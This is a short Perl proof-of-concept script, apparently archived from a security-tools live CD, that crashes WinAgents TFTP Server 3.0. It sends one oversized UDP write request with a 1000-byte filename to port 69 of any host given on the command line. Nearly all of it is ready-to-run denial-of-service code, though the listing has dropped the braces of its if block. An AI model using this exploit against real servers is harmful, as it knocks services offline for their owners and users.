home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / tftp / winagent / WinagentDos.pl < prev   
Perl Script  |  2005-02-12  |  641b  |  31 lines
  1. #!/usr/bin/perl
  2. # 
  3. # Remote D.O.S WinAgents TFTP Server ver 3.0 
  4. # 
  5. # Tftp.pl <Host>
  6.  
  7. use IO::Socket;
  8.  
  9. $Tftp_Port = "69";
  10. $FileName = "A"x1000;
  11. $Tftp_OP = "\x00\x01";
  12. $Tftp_M  = "bin";
  13. $Buf = $Tftp_OP . $Tftp_M . $FileName ;
  14.  
  15. if(!($ARGV[0]))
  16.  
  17.  print "\nUsage: perl $0 <Host>\n" ;
  18.  
  19.  exit;
  20.  
  21.  
  22. print "\nRemote D.O.S WinAgents TFTP Server ver 3.0 PoC\n\n\n";
  23.  
  24.  
  25. $socket = IO::Socket::INET->new(Proto => "udp") or die "Socket Error ...\n"
  26. ;
  27. $ipaddr = inet_aton($ARGV[0]);
  28. $portaddr = sockaddr_in($Tftp_Port, $ipaddr);
  29. send($socket, $Buf, 0, $portaddr) == length($Buf) or die "Error : Can't send ...\n";
  30. print "Server : $ARGV[0] Is Down ... \n";
  31.